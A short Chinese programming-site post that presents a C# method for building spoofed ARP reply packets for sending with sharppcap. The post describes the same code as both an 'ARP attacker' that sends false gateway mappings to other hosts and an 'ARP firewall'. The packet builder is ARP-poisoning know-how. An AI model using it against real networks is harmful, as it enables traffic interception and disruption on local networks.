当前位置:编程学习 > C#/ASP.NET >>

c# 写的ARP攻击器和ARP防火墙

核心代码贴出了,就是这么简单,手动构造ARP数据包,然后通过sharppcap里的库发送出去。。。

不停的发给自己正确的网关,那就是ARP防火墙。

不停的发给别人错误的网关,那就是ARP攻击器。


        /// <summary>       

 /// 获取数据包     

   /// </summary>       

/// <returns></returns>       

public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)       

{           

 //ARP数据包           

byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};           

 //循环替换IP         

   for (int i = 0; i < 4; i++)          

  {               

 packet[i + 28] = yIP[i];                              

 packet[i + 38] = mIP[i];           

}           

//循环替换MAC           

 for (int i = 0; i < 6; i++)           

{              

  packet[i+ 22] = yMAC[i];               

 packet[i] = mMAC[i];               

 packet[i+6] = yMAC[i];               

  packet[i + 32] = mMAC[i];          

  }           

 return packet;       

 }

补充:软件开发 , C# ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,